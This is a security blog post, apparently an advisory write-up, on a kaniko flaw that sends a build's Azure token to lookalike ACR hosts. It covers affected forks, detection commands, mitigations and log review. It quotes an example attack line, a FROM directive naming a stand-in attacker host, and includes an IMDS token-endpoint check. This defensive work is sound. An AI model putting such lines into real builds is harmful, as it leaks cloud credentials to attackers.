Skip to main content
kaniko CVE-2026-105769: Lookalike ACR Hosts Get Your Azure Token. Rebuild on v1.25.20

kaniko CVE-2026-105769: Lookalike ACR Hosts Get Your Azure Token. Rebuild on v1.25.20

KU
· Founder & Chief Editor
• 8 min read•8 views

A FROM line pointing at a host like x.azurecr.io.attacker.com is enough to make kaniko hand the build's Entra ID token to that host. Which kaniko forks and images are affected, how to find Azure identities in your build pods, and what to rotate.

Key takeaways

  • CVE-2026-105769 (GHSA-5q7h-w9jf-cx97, CVSS 9.3) lets a Dockerfile that pulls from a lookalike host such as x.azurecr.io.attacker.com receive the build's Azure Resource Manager token from kaniko.
  • The Chainguard-maintained kaniko fixes it in v1.25.20.
  • Builds of untrusted Dockerfiles that can reach an Azure identity should be rebuilt on the fix, and the identity's logs reviewed.

Any kaniko build that runs a Dockerfile you do not fully control, on a runner that can reach an Azure identity, can leak a live Azure Resource Manager token to an attacker's registry. Rebuild kaniko from v1.25.20 or later, or cut the build off from Azure credentials, today. No RUN step and no push are needed to trigger it.

Verified against

GHSA-5q7h-w9jf-cx97 / CVE-2026-105769, affected range < 1.25.20 of github.com/chainguard-dev/kaniko, fix in v1.25.20 (PR #495), CVSS 3.1 score 9.3, against the GitHub advisory, the chainguard-forks/kaniko release notes, the Go vulnerability entry GO-2026-6225, the CISA KEV catalog and Microsoft's workload identity and managed identity docs. Checked November 6, 2026.

What happened, in dates

The bug sits in github.com/chrismellard/docker-credential-acr-env, the Azure Container Registry credential helper that kaniko links into its executor and warmer. It decides whether a host is ACR with an unanchored regular expression, so any hostname that merely contains .azurecr.io (or .azurecr.cn, .azurecr.de, .azurecr.us) passes. The helper then POSTs the Entra ID token to https://<host>/oauth2/exchange, in both the Authorization: Bearer header and an access_token form field.

  • August 18, 2026: the Go vulnerability database publishes GO-2026-6225 against the upstream helper, affecting every version. The helper is unmaintained and has no fixed release.
  • October 26, 2026: the Chainguard-maintained kaniko merges PR #495, which carries a patched copy of the helper under third_party/docker-credential-acr-env.
  • October 27, 2026: v1.25.20 is released.
  • November 2, 2026: NVD publishes CVE-2026-105769.
  • November 5, 2026: GitHub publishes the reviewed advisory GHSA-5q7h-w9jf-cx97, rated critical: CVSS 3.1 9.3, AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N, CWE-346 (origin validation error) and CWE-522 (insufficiently protected credentials). The reporter credited is Martin Zihlmann of osscontainertools.

You do not need to use ACR to be exposed. kaniko asks the built-in helper for credentials for any registry that has no entry in your Docker config and is not a Google or ECR registry, and it asks before contacting the registry. That covers base images in FROM and images in COPY --from=<image>. As of November 6, 2026 the CVE is not in the CISA KEV catalog, and the advisory does not report exploitation.

Which kaniko is this?

Google archived GoogleContainerTools/kaniko in June 2025. The advisory is filed against the Chainguard fork (repo chainguard-forks/kaniko, Go module github.com/chainguard-dev/kaniko), which publishes no binaries or images. It names no other fork or image; the last two table rows are our reading of those projects' source code. Its README says the old gcr.io/kaniko-project/executor and warmer images "are unmaintained and no longer updated".

Kaniko lineStatus for this bugImages
Chainguard fork (chainguard-forks/kaniko)Fixed in v1.25.20No public images; build from source, or Chainguard's customer image cgr.dev/chainguard-private/kaniko (1.25.20 listed)
Archived Google kaniko (last release v1.24.0, May 2025)Not named in the advisory. Its source (pkg/creds/creds.go, go.mod) links the unpatched helper, and no fix will shipgcr.io/kaniko-project/executor, gcr.io/kaniko-project/warmer
osscontainertools forkNot named in the advisory. Its go.mod links the unpatched helper up to v1.28.2; v1.28.3 (August 13, 2026) and later use its own docker-credential-acr v0.8.0+, which anchored the host checkghcr.io/osscontainertools/kaniko, martizih/kaniko

Am I affected?

Four questions: which kaniko images run, which version, whether Dockerfiles are untrusted, and whether the build can reach an Azure identity.

Bash
# 1. Kaniko images referenced in CI config (GitLab, GitHub Actions, Tekton, Argo)
$ grep -rnE 'kaniko' .gitlab-ci.yml .gitlab/ .github/workflows/ 2>/dev/null
$ grep -rnE 'image:.*kaniko' --include='*.yaml' --include='*.yml' tekton/ argo/ deploy/ 2>/dev/null

# Tekton and Argo Workflows objects already in the cluster
$ kubectl get tasks,pipelines -A -o yaml 2>/dev/null | grep -nE 'image:.*kaniko'
$ kubectl get workflowtemplates,clusterworkflowtemplates,cronworkflows -A -o yaml 2>/dev/null | grep -nE 'image:.*kaniko'

# 2. Running kaniko containers and their tags, cluster-wide
$ kubectl get pods -A -o jsonpath='{range .items[*]}{.metadata.namespace}{"\t"}{.metadata.name}{"\t"}{range .spec.initContainers[*]}{.image}{" "}{end}{range .spec.containers[*]}{.image}{" "}{end}{"\n"}{end}' | grep -i kaniko

# 3. Version inside the image (executor images are FROM scratch, so no shell)
$ docker run --rm --entrypoint /kaniko/executor <your-kaniko-image> version
# Which ACR helper is linked in? Unpatched builds list chrismellard/docker-credential-acr-env
$ cid=$(docker create <your-kaniko-image>) && docker cp "$cid":/kaniko/executor ./executor && docker rm "$cid"
$ go version -m ./executor | grep -i 'credential-acr'

# 4a. Workload identity: labelled pods and annotated service accounts
$ kubectl get pods -A -l azure.workload.identity/use=true -o custom-columns=NS:.metadata.namespace,POD:.metadata.name,SA:.spec.serviceAccountName
$ kubectl get sa -A -o jsonpath='{range .items[?(@.metadata.annotations.azure\.workload\.identity/client-id)]}{.metadata.namespace}/{.metadata.name}{"\t"}{.metadata.annotations.azure\.workload\.identity/client-id}{"\n"}{end}'

# 4b. Azure env vars on a build pod (webhook-injected ones appear in the pod spec)
$ kubectl get pod -n <ci-ns> <build-pod> -o jsonpath='{range .spec.containers[*].env[*]}{.name}{"\n"}{end}' | grep -E '^(AZURE_|MSI_)'

# 4c. Managed identity via IMDS, from a throwaway pod in the build namespace (prints the HTTP code only)
$ kubectl run imds-check -n <ci-ns> --rm -i --restart=Never --image=curlimages/curl -- \
    curl -s -o /dev/null -w '%{http_code}\n' -m 5 -H Metadata:true \
    'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https%3A%2F%2Fmanagement.azure.com%2F'

On VM-based runners (GitLab Runner shell or Docker executors on Azure VMs), run the same curl and an env | grep -E '^(AZURE_|MSI_)' inside a CI job. A 200 from IMDS means any process in that job can get a managed identity token. Per the advisory, the three credential paths are service principal variables (AZURE_CLIENT_ID, AZURE_CLIENT_SECRET, AZURE_TENANT_ID), a federated token (AZURE_FEDERATED_TOKEN or AZURE_FEDERATED_TOKEN_FILE), and managed identity through IMDS or MSI_ENDPOINT.

What to do now

  1. Rebuild on the fix. Build the executor, warmer and docker-credential-acr-env from the v1.25.20 tag or later (the repo's deploy/Dockerfile on main fails the build if the helper is not the patched in-tree copy), or move to a fixed image from the table. Pin by digest, not latest. Go module users update github.com/chainguard-dev/kaniko to v1.25.20.
  2. If you cannot upgrade yet, set AZURE_ENVIRONMENT=none in the kaniko container when you do not rely on its built-in ACR auth; the advisory says the helper then fails before requesting a token. Strip AZURE_*, MSI_ENDPOINT and MSI_SECRET from build pods and block 169.254.169.254 with a NetworkPolicy or firewall rule.
  3. Pin registries. Replace "credsStore": "acr-env" with per-host credHelpers entries for your own ACR names, and consider an admission or CI policy that only allows FROM hosts on an allowlist.
  4. Shrink the identity. A build identity needs AcrPush on one registry, not Contributor on a subscription. Prefer federated, short-lived credentials over client secrets; our guide to Azure workload identity federation without secrets covers the setup.
  5. Review logs. If untrusted Dockerfiles ran with an identity available, the advisory says to treat tokens issued in that window as compromised. Check the identity's Entra ID service principal or managed identity sign-in logs and the Azure activity log for ACR pushes, role-assignment changes and key listings, then rotate any secrets the identity could read.

Where this breaks

Rotating the client secret or federated credential does not revoke an access token already issued; it stays valid until it expires, and Microsoft's workload identity docs say Entra tokens expire 24 hours after they are issued. The AZURE_ENVIRONMENT=none workaround also breaks kaniko's own ACR pushes, and blocking IMDS breaks every pod in that namespace that legitimately uses managed identity. For the archived Google images there is no patched release: the only fixes are migrating to a maintained fork or removing Azure credentials from those builds. Finally, a scanner that flags GO-2026-6225 in your kaniko image is the same signal as the go version -m check above; see container vulnerability scanning for wiring that into CI.

Questions people ask

Am I affected by CVE-2026-105769 if I don't use Azure Container Registry?

Possibly yes. The advisory says kaniko consults its built-in ACR helper for any registry with no credentials in the Docker config that is not a Google or ECR registry. If the build environment has any Azure identity (service principal env vars, workload identity, or managed identity through IMDS) and a Dockerfile references a lookalike host, the token is sent. No Azure identity in reach means nothing to leak.

Is the gcr.io/kaniko-project/executor image fixed?

No. Google archived the project in June 2025, its last release is v1.24.0, and its source still links the unpatched chrismellard/docker-credential-acr-env helper. The advisory does not name these images, but the Chainguard fork describes them as unmaintained. Move to a v1.25.20 or later build of the Chainguard fork, or an osscontainertools image at v1.28.3 or later, or remove Azure credentials from builds that use the old image.

Does the attacker need to push an image or run code in my build?

No. A FROM x.azurecr.io.attacker.com/img line, or a build argument that expands to such a host, is enough, because kaniko requests credentials before it contacts the registry and the attacker's server does not have to ask for authentication. That is why the CVSS vector marks privileges required as none and user interaction as required: someone has to run the build.

The call we'd make

Rebuild kaniko on v1.25.20 now if any pipeline builds forks, merge requests or user-supplied Dockerfiles on runners with an Azure identity, and set AZURE_ENVIRONMENT=none in the meantime where you do not push to ACR through kaniko. The caveat: if those builds already ran with a broad identity, treat it as an incident, not a patch, and work through it with our production vulnerability playbook.

Sources

React
Share this post
Cite this article
Plain text

Kiril Urbonas (2026). kaniko CVE-2026-105769: Lookalike ACR Hosts Get Your Azure Token. Rebuild on v1.25.20. DevOpsNess. https://www.devopsness.com/blog/kaniko-cve-2026-105769-azure-token-leak

Markdown

[kaniko CVE-2026-105769: Lookalike ACR Hosts Get Your Azure Token. Rebuild on v1.25.20](https://www.devopsness.com/blog/kaniko-cve-2026-105769-azure-token-leak) (Kiril Urbonas, DevOpsNess, 2026-11-06)

KU

Kiril Urbonas

Founder & Chief Editor

586 articles
View all articles by Kiril Urbonas

You might have missed

Evergreen posts worth revisiting.